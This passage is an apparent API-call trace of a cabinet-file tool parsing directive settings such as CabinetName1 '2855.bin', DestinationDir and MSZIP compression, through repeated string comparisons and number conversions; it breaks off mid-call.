_strcmpi (_Str1="New", _Str2="set") returned -5 [0102.104] _strcmpi (_Str1="Option", _Str2="set") returned -4 [0102.104] _strcmpi (_Str1="Set", _Str2="set") returned 0 [0102.104] strspn (_Str=" CabinetName1=\"2855.bin\"", _Control=" \x09") returned 0x1 [0102.104] strpbrk (_Str="CabinetName1=\"2855.bin\"", _Control="= \x09") returned="=\"2855.bin\"" [0102.104] strspn (_Str="=\"2855.bin\"", _Control=" \x09") returned 0x0 [0102.104] strspn (_Str="\"2855.bin\"", _Control=" \x09") returned 0x0 [0102.104] strspn (_Str="", _Control=" \x09") returned 0x0 [0102.104] _strcmpi (_Str1="2855.bin", _Str2="360K") returned -1 [0102.104] atol (_Str="362496") returned 362496 [0102.104] atol (_Str="2855.bin") returned 2855 [0102.104] _strcmpi (_Str1="2855.bin", _Str2="720K") returned -5 [0102.104] atol (_Str="730112") returned 730112 [0102.104] atol (_Str="2855.bin") returned 2855 [0102.104] _strcmpi (_Str1="2855.bin", _Str2="1.2M") returned 1 [0102.104] atol (_Str="1213952") returned 1213952 [0102.104] atol (_Str="2855.bin") returned 2855 [0102.104] _strcmpi (_Str1="2855.bin", _Str2="1.25M") returned 1 [0102.104] atol (_Str="1250304") returned 1250304 [0102.104] atol (_Str="2855.bin") returned 2855 [0102.104] _strcmpi (_Str1="2855.bin", _Str2="1.44M") returned 1 [0102.104] atol (_Str="1457664") returned 1457664 [0102.104] atol (_Str="2855.bin") returned 2855 [0102.104] _strcmpi (_Str1="2855.bin", _Str2="1.68M") returned 1 [0102.104] atol (_Str="1716224") returned 1716224 [0102.104] atol (_Str="2855.bin") returned 2855 [0102.104] _strcmpi (_Str1="2855.bin", _Str2="DMF168") returned -50 [0102.104] atol (_Str="1716224") returned 1716224 [0102.104] atol (_Str="2855.bin") returned 2855 [0102.104] _strcmpi (_Str1="2855.bin", _Str2="CDROM") returned -49 [0102.104] atol (_Str="681984000") returned 681984000 [0102.104] atol (_Str="2855.bin") returned 2855 [0102.104] _strcmpi (_Str1="Cabinet", _Str2="CabinetName1") returned -110 [0102.104] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="CabinetName1") returned -8 [0102.104] _strcmpi (_Str1="CabinetNameTemplate", _Str2="CabinetName1") returned 67 [0102.104] _strcmpi (_Str1="ChecksumWidth", _Str2="CabinetName1") returned 7 [0102.104] _strcmpi (_Str1="ClusterSize", _Str2="CabinetName1") returned 11 [0102.104] _strcmpi (_Str1="Compress", _Str2="CabinetName1") returned 14 [0102.104] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="CabinetName1") returned 14 [0102.104] _strcmpi (_Str1="CompressionType", _Str2="CabinetName1") returned 14 [0102.104] _strcmpi (_Str1="CompressionLevel", _Str2="CabinetName1") returned 14 [0102.104] _strcmpi (_Str1="CompressionMemory", _Str2="CabinetName1") returned 14 [0102.105] _strcmpi (_Str1="DestinationDir", _Str2="CabinetName1") returned 1 [0102.105] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="CabinetName1") returned 1 [0102.105] _strcmpi (_Str1="DiskLabelTemplate", _Str2="CabinetName1") returned 1 [0102.105] _strcmpi (_Str1="DoNotCopyFiles", _Str2="CabinetName1") returned 1 [0102.105] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="CabinetName1") returned 3 [0102.105] _strcmpi (_Str1="FolderSizeThreshold", _Str2="CabinetName1") returned 3 [0102.105] _strcmpi (_Str1="GenerateInf", _Str2="CabinetName1") returned 4 [0102.105] _strcmpi (_Str1="InfCabinetHeader", _Str2="CabinetName1") returned 6 [0102.105] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="CabinetName1") returned 6 [0102.105] _strcmpi (_Str1="InfCommentString", _Str2="CabinetName1") returned 6 [0102.105] _strcmpi (_Str1="InfDateFormat", _Str2="CabinetName1") returned 6 [0102.105] _strcmpi (_Str1="InfDiskHeader", _Str2="CabinetName1") returned 6 [0102.105] _strcmpi (_Str1="InfDiskLineFormat", _Str2="CabinetName1") returned 6 [0102.105] _strcmpi (_Str1="InfFileHeader", _Str2="CabinetName1") returned 6 [0102.105] _strcmpi (_Str1="InfFileLineFormat", _Str2="CabinetName1") returned 6 [0102.105] _strcmpi (_Str1="InfFileName", _Str2="CabinetName1") returned 6 [0102.105] _strcmpi (_Str1="InfFooter", _Str2="CabinetName1") returned 6 [0102.105] _strcmpi (_Str1="InfFooter1", _Str2="CabinetName1") returned 6 [0102.105] _strcmpi (_Str1="InfFooter2", _Str2="CabinetName1") returned 6 [0102.105] _strcmpi (_Str1="InfFooter3", _Str2="CabinetName1") returned 6 [0102.105] _strcmpi (_Str1="InfFooter4", _Str2="CabinetName1") returned 6 [0102.105] _strcmpi (_Str1="InfHeader", _Str2="CabinetName1") returned 6 [0102.105] _strcmpi (_Str1="InfHeader1", _Str2="CabinetName1") returned 6 [0102.105] _strcmpi (_Str1="InfHeader2", _Str2="CabinetName1") returned 6 [0102.105] _strcmpi (_Str1="InfHeader3", _Str2="CabinetName1") returned 6 [0102.105] _strcmpi (_Str1="InfHeader4", _Str2="CabinetName1") returned 6 [0102.105] _strcmpi (_Str1="InfHeader5", _Str2="CabinetName1") returned 6 [0102.105] _strcmpi (_Str1="InfHeader6", _Str2="CabinetName1") returned 6 [0102.105] _strcmpi (_Str1="InfSectionOrder", _Str2="CabinetName1") returned 6 [0102.105] _strcmpi (_Str1="MaxCabinetSize", _Str2="CabinetName1") returned 10 [0102.105] _strcmpi (_Str1="MaxDiskFileCount", _Str2="CabinetName1") returned 10 [0102.105] _strcmpi (_Str1="MaxDiskSize", _Str2="CabinetName1") returned 10 [0102.105] _strcmpi (_Str1="MaxErrors", _Str2="CabinetName1") returned 10 [0102.105] _strcmpi (_Str1="ReservePerCabinetSize", _Str2="CabinetName1") returned 15 [0102.105] _strcmpi (_Str1="ReservePerDataBlockSize", _Str2="CabinetName1") returned 15 [0102.105] _strcmpi (_Str1="ReservePerFolderSize", _Str2="CabinetName1") returned 15 [0102.105] _strcmpi (_Str1="RptFileName", _Str2="CabinetName1") returned 15 [0102.106] _strcmpi (_Str1="SourceDir", _Str2="CabinetName1") returned 16 [0102.106] _strcmpi (_Str1="UniqueFiles", _Str2="CabinetName1") returned 18 [0102.106] _strcmpi (_Str1="DiskDirectory1", _Str2="CabinetName1") returned 1 [0102.106] _vsnprintf (in: _DstBuf=0x1fe6a0, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fe5f8 | out: _DstBuf="CabinetName1") returned 12 [0102.106] _vsnprintf (in: _DstBuf=0x1fe430, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fe388 | out: _DstBuf="CabinetName1") returned 12 [0102.106] free (_Block=0x327220) [0102.106] _strcmpi (_Str1="CabinetName1", _Str2="MaxDiskSize") returned -10 [0102.106] _strcmpi (_Str1="CabinetName1", _Str2="GenerateInf") returned -4 [0102.106] strpbrk (_Str=".set DestinationDir=\"\"", _Control=" \x09") returned=" DestinationDir=\"\"" [0102.106] strspn (_Str=" DestinationDir=\"\"", _Control=" \x09") returned 0x1 [0102.106] strpbrk (_Str="DestinationDir=\"\"", _Control=" \x09") returned 0x0 [0102.106] strspn (_Str=".set DestinationDir=\"\"", _Control=" \x09") returned 0x0 [0102.106] strspn (_Str=".set DestinationDir=\"\"", _Control=" \x09") returned 0x0 [0102.106] strpbrk (_Str="set DestinationDir=\"\"", _Control=" \x09") returned=" DestinationDir=\"\"" [0102.106] _strcmpi (_Str1="Define", _Str2="set") returned -15 [0102.106] _strcmpi (_Str1="Delete", _Str2="set") returned -15 [0102.106] _strcmpi (_Str1="Dump", _Str2="set") returned -15 [0102.106] _strcmpi (_Str1="InfBegin", _Str2="set") returned -10 [0102.106] _strcmpi (_Str1="InfEnd", _Str2="set") returned -10 [0102.106] _strcmpi (_Str1="InfWrite", _Str2="set") returned -10 [0102.106] _strcmpi (_Str1="InfWriteCabinet", _Str2="set") returned -10 [0102.106] _strcmpi (_Str1="InfWriteDisk", _Str2="set") returned -10 [0102.106] _strcmpi (_Str1="New", _Str2="set") returned -5 [0102.106] _strcmpi (_Str1="Option", _Str2="set") returned -4 [0102.106] _strcmpi (_Str1="Set", _Str2="set") returned 0 [0102.106] strspn (_Str=" DestinationDir=\"\"", _Control=" \x09") returned 0x1 [0102.106] strpbrk (_Str="DestinationDir=\"\"", _Control="= \x09") returned="=\"\"" [0102.106] strspn (_Str="=\"\"", _Control=" \x09") returned 0x0 [0102.106] strspn (_Str="\"\"", _Control=" \x09") returned 0x0 [0102.106] strspn (_Str="", _Control=" \x09") returned 0x0 [0102.106] _strcmpi (_Str1="", _Str2="360K") returned -51 [0102.106] atol (_Str="362496") returned 362496 [0102.106] atol (_Str="") returned 0 [0102.107] _strcmpi (_Str1="", _Str2="720K") returned -55 [0102.107] atol (_Str="730112") returned 730112 [0102.107] atol (_Str="") returned 0 [0102.107] _strcmpi (_Str1="", _Str2="1.2M") returned -49 [0102.107] atol (_Str="1213952") returned 1213952 [0102.107] atol (_Str="") returned 0 [0102.107] _strcmpi (_Str1="", _Str2="1.25M") returned -49 [0102.107] atol (_Str="1250304") returned 1250304 [0102.107] atol (_Str="") returned 0 [0102.107] _strcmpi (_Str1="", _Str2="1.44M") returned -49 [0102.107] atol (_Str="1457664") returned 1457664 [0102.107] atol (_Str="") returned 0 [0102.107] _strcmpi (_Str1="", _Str2="1.68M") returned -49 [0102.107] atol (_Str="1716224") returned 1716224 [0102.107] atol (_Str="") returned 0 [0102.107] _strcmpi (_Str1="", _Str2="DMF168") returned -100 [0102.107] atol (_Str="1716224") returned 1716224 [0102.107] atol (_Str="") returned 0 [0102.107] _strcmpi (_Str1="", _Str2="CDROM") returned -99 [0102.107] atol (_Str="681984000") returned 681984000 [0102.107] atol (_Str="") returned 0 [0102.107] _strcmpi (_Str1="Cabinet", _Str2="DestinationDir") returned -1 [0102.107] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="DestinationDir") returned -1 [0102.107] _strcmpi (_Str1="CabinetNameTemplate", _Str2="DestinationDir") returned -1 [0102.107] _strcmpi (_Str1="ChecksumWidth", _Str2="DestinationDir") returned -1 [0102.107] _strcmpi (_Str1="ClusterSize", _Str2="DestinationDir") returned -1 [0102.107] _strcmpi (_Str1="Compress", _Str2="DestinationDir") returned -1 [0102.107] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="DestinationDir") returned -1 [0102.107] _strcmpi (_Str1="CompressionType", _Str2="DestinationDir") returned -1 [0102.107] _strcmpi (_Str1="CompressionLevel", _Str2="DestinationDir") returned -1 [0102.107] _strcmpi (_Str1="CompressionMemory", _Str2="DestinationDir") returned -1 [0102.107] _strcmpi (_Str1="DestinationDir", _Str2="DestinationDir") returned 0 [0102.107] free (_Block=0x327170) [0102.107] _strcmpi (_Str1="DestinationDir", _Str2="MaxDiskSize") returned -9 [0102.107] _strcmpi (_Str1="DestinationDir", _Str2="GenerateInf") returned -3 [0102.107] strpbrk (_Str="\"01D51ED4E3ECF92009\"", _Control=" \x09") returned 0x0 [0102.107] strspn (_Str="\"01D51ED4E3ECF92009\"", _Control=" \x09") returned 0x0 [0102.107] strspn (_Str="\"01D51ED4E3ECF92009\"", _Control=" \x09") returned 0x0 [0102.107] _strcmpi (_Str1="Cabinet", _Str2="GenerateInf") returned -4 [0102.107] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="GenerateInf") returned -4 [0102.108] _strcmpi (_Str1="CabinetNameTemplate", _Str2="GenerateInf") returned -4 [0102.108] _strcmpi (_Str1="ChecksumWidth", _Str2="GenerateInf") returned -4 [0102.108] _strcmpi (_Str1="ClusterSize", _Str2="GenerateInf") returned -4 [0102.108] _strcmpi (_Str1="Compress", _Str2="GenerateInf") returned -4 [0102.108] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="GenerateInf") returned -4 [0102.108] _strcmpi (_Str1="CompressionType", _Str2="GenerateInf") returned -4 [0102.108] _strcmpi (_Str1="CompressionLevel", _Str2="GenerateInf") returned -4 [0102.108] _strcmpi (_Str1="CompressionMemory", _Str2="GenerateInf") returned -4 [0102.108] _strcmpi (_Str1="DestinationDir", _Str2="GenerateInf") returned -3 [0102.108] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="GenerateInf") returned -3 [0102.108] _strcmpi (_Str1="DiskLabelTemplate", _Str2="GenerateInf") returned -3 [0102.108] _strcmpi (_Str1="DoNotCopyFiles", _Str2="GenerateInf") returned -3 [0102.108] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="GenerateInf") returned -1 [0102.108] _strcmpi (_Str1="FolderSizeThreshold", _Str2="GenerateInf") returned -1 [0102.108] _strcmpi (_Str1="GenerateInf", _Str2="GenerateInf") returned 0 [0102.108] atoi (_Str="1") returned 1 [0102.108] _strcmpi (_Str1="Cabinet", _Str2="SourceDir") returned -16 [0102.108] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="SourceDir") returned -16 [0102.108] _strcmpi (_Str1="CabinetNameTemplate", _Str2="SourceDir") returned -16 [0102.108] _strcmpi (_Str1="ChecksumWidth", _Str2="SourceDir") returned -16 [0102.108] _strcmpi (_Str1="ClusterSize", _Str2="SourceDir") returned -16 [0102.108] _strcmpi (_Str1="Compress", _Str2="SourceDir") returned -16 [0102.108] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="SourceDir") returned -16 [0102.108] _strcmpi (_Str1="CompressionType", _Str2="SourceDir") returned -16 [0102.108] _strcmpi (_Str1="CompressionLevel", _Str2="SourceDir") returned -16 [0102.108] _strcmpi (_Str1="CompressionMemory", _Str2="SourceDir") returned -16 [0102.108] _strcmpi (_Str1="DestinationDir", _Str2="SourceDir") returned -15 [0102.108] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="SourceDir") returned -15 [0102.108] _strcmpi (_Str1="DiskLabelTemplate", _Str2="SourceDir") returned -15 [0102.108] _strcmpi (_Str1="DoNotCopyFiles", _Str2="SourceDir") returned -15 [0102.108] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="SourceDir") returned -13 [0102.108] _strcmpi (_Str1="FolderSizeThreshold", _Str2="SourceDir") returned -13 [0102.108] _strcmpi (_Str1="GenerateInf", _Str2="SourceDir") returned -12 [0102.108] _strcmpi (_Str1="InfCabinetHeader", _Str2="SourceDir") returned -10 [0102.108] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="SourceDir") returned -10 [0102.108] _strcmpi (_Str1="InfCommentString", _Str2="SourceDir") returned -10 [0102.108] _strcmpi (_Str1="InfDateFormat", _Str2="SourceDir") returned -10 [0102.108] _strcmpi (_Str1="InfDiskHeader", _Str2="SourceDir") returned -10 [0102.108] _strcmpi (_Str1="InfDiskLineFormat", _Str2="SourceDir") returned -10 [0102.109] _strcmpi (_Str1="InfFileHeader", _Str2="SourceDir") returned -10 [0102.109] _strcmpi (_Str1="InfFileLineFormat", _Str2="SourceDir") returned -10 [0102.109] _strcmpi (_Str1="InfFileName", _Str2="SourceDir") returned -10 [0102.109] _strcmpi (_Str1="InfFooter", _Str2="SourceDir") returned -10 [0102.109] _strcmpi (_Str1="InfFooter1", _Str2="SourceDir") returned -10 [0102.109] _strcmpi (_Str1="InfFooter2", _Str2="SourceDir") returned -10 [0102.109] _strcmpi (_Str1="InfFooter3", _Str2="SourceDir") returned -10 [0102.109] _strcmpi (_Str1="InfFooter4", _Str2="SourceDir") returned -10 [0102.109] _strcmpi (_Str1="InfHeader", _Str2="SourceDir") returned -10 [0102.109] _strcmpi (_Str1="InfHeader1", _Str2="SourceDir") returned -10 [0102.109] _strcmpi (_Str1="InfHeader2", _Str2="SourceDir") returned -10 [0102.109] _strcmpi (_Str1="InfHeader3", _Str2="SourceDir") returned -10 [0102.109] _strcmpi (_Str1="InfHeader4", _Str2="SourceDir") returned -10 [0102.109] _strcmpi (_Str1="InfHeader5", _Str2="SourceDir") returned -10 [0102.109] _strcmpi (_Str1="InfHeader6", _Str2="SourceDir") returned -10 [0102.109] _strcmpi (_Str1="InfSectionOrder", _Str2="SourceDir") returned -10 [0102.109] _strcmpi (_Str1="MaxCabinetSize", _Str2="SourceDir") returned -6 [0102.109] _strcmpi (_Str1="MaxDiskFileCount", _Str2="SourceDir") returned -6 [0102.109] _strcmpi (_Str1="MaxDiskSize", _Str2="SourceDir") returned -6 [0102.109] _strcmpi (_Str1="MaxErrors", _Str2="SourceDir") returned -6 [0102.109] _strcmpi (_Str1="ReservePerCabinetSize", _Str2="SourceDir") returned -1 [0102.109] _strcmpi (_Str1="ReservePerDataBlockSize", _Str2="SourceDir") returned -1 [0102.109] _strcmpi (_Str1="ReservePerFolderSize", _Str2="SourceDir") returned -1 [0102.109] _strcmpi (_Str1="RptFileName", _Str2="SourceDir") returned -1 [0102.109] _strcmpi (_Str1="SourceDir", _Str2="SourceDir") returned 0 [0102.109] _strcmpi (_Str1="Cabinet", _Str2="DestinationDir") returned -1 [0102.109] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="DestinationDir") returned -1 [0102.109] _strcmpi (_Str1="CabinetNameTemplate", _Str2="DestinationDir") returned -1 [0102.109] _strcmpi (_Str1="ChecksumWidth", _Str2="DestinationDir") returned -1 [0102.109] _strcmpi (_Str1="ClusterSize", _Str2="DestinationDir") returned -1 [0102.109] _strcmpi (_Str1="Compress", _Str2="DestinationDir") returned -1 [0102.109] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="DestinationDir") returned -1 [0102.109] _strcmpi (_Str1="CompressionType", _Str2="DestinationDir") returned -1 [0102.109] _strcmpi (_Str1="CompressionLevel", _Str2="DestinationDir") returned -1 [0102.109] _strcmpi (_Str1="CompressionMemory", _Str2="DestinationDir") returned -1 [0102.109] _strcmpi (_Str1="DestinationDir", _Str2="DestinationDir") returned 0 [0102.110] _vsnprintf (in: _DstBuf=0x1fe6d0, _MaxCount=0x1ff, _Format="%6.2f", _ArgList=0x1fe628 | out: _DstBuf=" 0.00") returned 6 [0102.110] _vsnprintf (in: _DstBuf=0x1fe6d8, _MaxCount=0x1f7, _Format="%s", _ArgList=0x1fe628 | out: _DstBuf="01D51ED4E3ECF92009") returned 18 [0102.110] _vsnprintf (in: _DstBuf=0x1fe6ec, _MaxCount=0x1e3, _Format="%ld", _ArgList=0x1fe628 | out: _DstBuf="1") returned 1 [0102.110] strspn (_Str="1", _Control=" ") returned 0x0 [0102.110] strpbrk (_Str="1", _Control=" ") returned 0x0 [0102.110] _vsnprintf (in: _DstBuf=0x1fe6ef, _MaxCount=0x1e0, _Format="%ld", _ArgList=0x1fe628 | out: _DstBuf="1") returned 1 [0102.110] strspn (_Str="1", _Control=" ") returned 0x0 [0102.110] strpbrk (_Str="1", _Control=" ") returned 0x0 [0102.110] printf (_Format="%s%s\r") returned 38 [0102.122] _strcmpi (_Str1="Cabinet", _Str2="Compress") returned -14 [0102.122] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="Compress") returned -14 [0102.122] _strcmpi (_Str1="CabinetNameTemplate", _Str2="Compress") returned -14 [0102.122] _strcmpi (_Str1="ChecksumWidth", _Str2="Compress") returned -7 [0102.122] _strcmpi (_Str1="ClusterSize", _Str2="Compress") returned -3 [0102.122] _strcmpi (_Str1="Compress", _Str2="Compress") returned 0 [0102.122] atoi (_Str="1") returned 1 [0102.122] _strcmpi (_Str1="Cabinet", _Str2="CompressionType") returned -14 [0102.122] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="CompressionType") returned -14 [0102.122] _strcmpi (_Str1="CabinetNameTemplate", _Str2="CompressionType") returned -14 [0102.122] _strcmpi (_Str1="ChecksumWidth", _Str2="CompressionType") returned -7 [0102.122] _strcmpi (_Str1="ClusterSize", _Str2="CompressionType") returned -3 [0102.123] _strcmpi (_Str1="Compress", _Str2="CompressionType") returned -105 [0102.123] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="CompressionType") returned -4 [0102.123] _strcmpi (_Str1="CompressionType", _Str2="CompressionType") returned 0 [0102.123] _strcmpi (_Str1="MSZIP", _Str2="MSZIP") returned 0 [0102.123] _strcmpi (_Str1="Cabinet", _Str2="Cabinet") returned 0 [0102.123] atoi (_Str="1") returned 1 [0102.123] _strcmpi (_Str1="Cabinet", _Str2="ClusterSize") returned -11 [0102.123] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="ClusterSize") returned -11 [0102.123] _strcmpi (_Str1="CabinetNameTemplate", _Str2="ClusterSize") returned -11 [0102.123] _strcmpi (_Str1="ChecksumWidth", _Str2="ClusterSize") returned -4 [0102.123] _strcmpi (_Str1="ClusterSize", _Str2="ClusterSize") returned 0 [0102.123] atol (_Str="512") returned 512 [0102.123] _strcmpi (_Str1="Cabinet", _Str2="MaxDiskFileCount") returned -10 [0102.123] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="MaxDiskFileCount") returned -10 [0102.123] _strcmpi (_Str1="CabinetNameTemplate", _Str2="MaxDiskFileCount") returned -10 [0102.123] _strcmpi (_Str1="ChecksumWidth", _Str2="MaxDiskFileCount") returned -10 [0102.123] _strcmpi (_Str1="ClusterSize", _Str2="MaxDiskFileCount") returned -10 [0102.123] _strcmpi (_Str1="Compress", _Str2="MaxDiskFileCount") returned -10 [0102.123] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="MaxDiskFileCount") returned -10 [0102.123] _strcmpi (_Str1="CompressionType", _Str2="MaxDiskFileCount") returned -10 [0102.123] _strcmpi (_Str1="CompressionLevel", _Str2="MaxDiskFileCount") returned -10 [0102.123] _strcmpi (_Str1="CompressionMemory", _Str2="MaxDiskFileCount") returned -10 [0102.123] _strcmpi (_Str1="DestinationDir", _Str2="MaxDiskFileCount") returned -9 [0102.123] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="MaxDiskFileCount") returned -9 [0102.123] _strcmpi (_Str1="DiskLabelTemplate", _Str2="MaxDiskFileCount") returned -9 [0102.123] _strcmpi (_Str1="DoNotCopyFiles", _Str2="MaxDiskFileCount") returned -9 [0102.123] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="MaxDiskFileCount") returned -7 [0102.123] _strcmpi (_Str1="FolderSizeThreshold", _Str2="MaxDiskFileCount") returned -7 [0102.123] _strcmpi (_Str1="GenerateInf", _Str2="MaxDiskFileCount") returned -6 [0102.123] _strcmpi (_Str1="InfCabinetHeader", _Str2="MaxDiskFileCount") returned -4 [0102.123] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="MaxDiskFileCount") returned -4 [0102.123] _strcmpi (_Str1="InfCommentString", _Str2="MaxDiskFileCount") returned -4 [0102.123] _strcmpi (_Str1="InfDateFormat", _Str2="MaxDiskFileCount") returned -4 [0102.123] _strcmpi (_Str1="InfDiskHeader", _Str2="MaxDiskFileCount") returned -4 [0102.123] _strcmpi (_Str1="InfDiskLineFormat", _Str2="MaxDiskFileCount") returned -4 [0102.123] _strcmpi (_Str1="InfFileHeader", _Str2="MaxDiskFileCount") returned -4 [0102.123] _strcmpi (_Str1="InfFileLineFormat", _Str2="MaxDiskFileCount") returned -4 [0102.123] _strcmpi (_Str1="InfFileName", _Str2="MaxDiskFileCount") returned -4 [0102.123] _strcmpi (_Str1="InfFooter", _Str2="MaxDiskFileCount") returned -4 [0102.123] _strcmpi (_Str1="InfFooter1", _Str2="MaxDiskFileCount") returned -4 [0102.123] _strcmpi (_Str1="InfFooter2", _Str2="MaxDiskFileCount") returned -4 [0102.124] _strcmpi (_Str1="InfFooter3", _Str2="MaxDiskFileCount") returned -4 [0102.124] _strcmpi (_Str1="InfFooter4", _Str2="MaxDiskFileCount") returned -4 [0102.124] _strcmpi (_Str1="InfHeader", _Str2="MaxDiskFileCount") returned -4 [0102.124] _strcmpi (_Str1="InfHeader1", _Str2="MaxDiskFileCount") returned -4 [0102.124] _strcmpi (_Str1="InfHeader2", _Str2="MaxDiskFileCount") returned -4 [0102.124] _strcmpi (_Str1="InfHeader3", _Str2="MaxDiskFileCount") returned -4 [0102.124] _strcmpi (_Str1="InfHeader4", _Str2="MaxDiskFileCount") returned -4 [0102.124] _strcmpi (_Str1="InfHeader5", _Str2="MaxDiskFileCount") returned -4 [0102.124] _strcmpi (_Str1="InfHeader6", _Str2="MaxDiskFileCount") returned -4 [0102.124] _strcmpi (_Str1="InfSectionOrder", _Str2="MaxDiskFileCount") returned -4 [0102.124] _strcmpi (_Str1="MaxCabinetSize", _Str2="MaxDiskFileCount") returned -1 [0102.124] _strcmpi (_Str1="MaxDiskFileCount", _Str2="MaxDiskFileCount") returned 0 [0102.124] atol (_Str="224") returned 224 [0102.124] _vsnprintf (in: _DstBuf=0x32610c, _MaxCount=0x7ff, _Format="MaxDiskSize%d", _ArgList=0x1fe3e8 | out: _DstBuf="MaxDiskSize1") returned 12 [0102.124] _strcmpi (_Str1="Cabinet", _Str2="MaxDiskSize1") returned -10 [0102.124] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="MaxDiskSize1") returned -10 [0102.124] _strcmpi (_Str1="CabinetNameTemplate", _Str2="MaxDiskSize1") returned -10 [0102.124] _strcmpi (_Str1="ChecksumWidth", _Str2="MaxDiskSize1") returned -10 [0102.124] _strcmpi (_Str1="ClusterSize", _Str2="MaxDiskSize1") returned -10 [0102.124] _strcmpi (_Str1="Compress", _Str2="MaxDiskSize1") returned -10 [0102.124] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="MaxDiskSize1") returned -10 [0102.124] _strcmpi (_Str1="CompressionType", _Str2="MaxDiskSize1") returned -10 [0102.124] _strcmpi (_Str1="CompressionLevel", _Str2="MaxDiskSize1") returned -10 [0102.124] _strcmpi (_Str1="CompressionMemory", _Str2="MaxDiskSize1") returned -10 [0102.125] _strcmpi (_Str1="DestinationDir", _Str2="MaxDiskSize1") returned -9 [0102.125] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="MaxDiskSize1") returned -9 [0102.125] _strcmpi (_Str1="DiskLabelTemplate", _Str2="MaxDiskSize1") returned -9 [0102.125] _strcmpi (_Str1="DoNotCopyFiles", _Str2="MaxDiskSize1") returned -9 [0102.125] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="MaxDiskSize1") returned -7 [0102.125] _strcmpi (_Str1="FolderSizeThreshold", _Str2="MaxDiskSize1") returned -7 [0102.125] _strcmpi (_Str1="GenerateInf", _Str2="MaxDiskSize1") returned -6 [0102.125] _strcmpi (_Str1="InfCabinetHeader", _Str2="MaxDiskSize1") returned -4 [0102.125] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="MaxDiskSize1") returned -4 [0102.125] _strcmpi (_Str1="InfCommentString", _Str2="MaxDiskSize1") returned -4 [0102.125] _strcmpi (_Str1="InfDateFormat", _Str2="MaxDiskSize1") returned -4 [0102.125] _strcmpi (_Str1="InfDiskHeader", _Str2="MaxDiskSize1") returned -4 [0102.125] _strcmpi (_Str1="InfDiskLineFormat", _Str2="MaxDiskSize1") returned -4 [0102.125] _strcmpi (_Str1="InfFileHeader", _Str2="MaxDiskSize1") returned -4 [0102.125] _strcmpi (_Str1="InfFileLineFormat", _Str2="MaxDiskSize1") returned -4 [0102.125] _strcmpi (_Str1="InfFileName", _Str2="MaxDiskSize1") returned -4 [0102.125] _strcmpi (_Str1="InfFooter", _Str2="MaxDiskSize1") returned -4 [0102.125] _strcmpi (_Str1="InfFooter1", _Str2="MaxDiskSize1") returned -4 [0102.125] _strcmpi (_Str1="InfFooter2", _Str2="MaxDiskSize1") returned -4 [0102.125] _strcmpi (_Str1="InfFooter3", _Str2="MaxDiskSize1") returned -4 [0102.125] _strcmpi (_Str1="InfFooter4", _Str2="MaxDiskSize1") returned -4 [0102.125] _strcmpi (_Str1="InfHeader", _Str2="MaxDiskSize1") returned -4 [0102.125] _strcmpi (_Str1="InfHeader1", _Str2="MaxDiskSize1") returned -4 [0102.125] _strcmpi (_Str1="InfHeader2", _Str2="MaxDiskSize1") returned -4 [0102.125] _strcmpi (_Str1="InfHeader3", _Str2="MaxDiskSize1") returned -4 [0102.125] _strcmpi (_Str1="InfHeader4", _Str2="MaxDiskSize1") returned -4 [0102.125] _strcmpi (_Str1="InfHeader5", _Str2="MaxDiskSize1") returned -4 [0102.125] _strcmpi (_Str1="InfHeader6", _Str2="MaxDiskSize1") returned -4 [0102.125] _strcmpi (_Str1="InfSectionOrder", _Str2="MaxDiskSize1") returned -4 [0102.125] _strcmpi (_Str1="MaxCabinetSize", _Str2="MaxDiskSize1") returned -1 [0102.125] _strcmpi (_Str1="MaxDiskFileCount", _Str2="MaxDiskSize1") returned -13 [0102.125] _strcmpi (_Str1="MaxDiskSize", _Str2="MaxDiskSize1") returned -49 [0102.125] _strcmpi (_Str1="MaxErrors", _Str2="MaxDiskSize1") returned 1 [0102.125] _strcmpi (_Str1="ReservePerCabinetSize", _Str2="MaxDiskSize1") returned 5 [0102.125] _strcmpi (_Str1="ReservePerDataBlockSize", _Str2="MaxDiskSize1") returned 5 [0102.125] _strcmpi (_Str1="ReservePerFolderSize", _Str2="MaxDiskSize1") returned 5 [0102.125] _strcmpi (_Str1="RptFileName", _Str2="MaxDiskSize1") returned 5 [0102.126] _strcmpi (_Str1="SourceDir", _Str2="MaxDiskSize1") returned 6 [0102.126] _strcmpi (_Str1="UniqueFiles", _Str2="MaxDiskSize1") returned 8 [0102.126] _strcmpi (_Str1="DiskDirectory1", _Str2="MaxDiskSize1") returned -9 [0102.126] _strcmpi (_Str1="CabinetName1", _Str2="MaxDiskSize1") returned -10 [0102.126] _vsnprintf (in: _DstBuf=0x1fe240, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1fe198 | out: _DstBuf="MaxDiskSize1") returned 12 [0102.126] _vsnprintf (in: _DstBuf=0x32610c, _MaxCount=0x7ff, _Format="DiskDirectory%d", _ArgList=0x1fe3e8 | 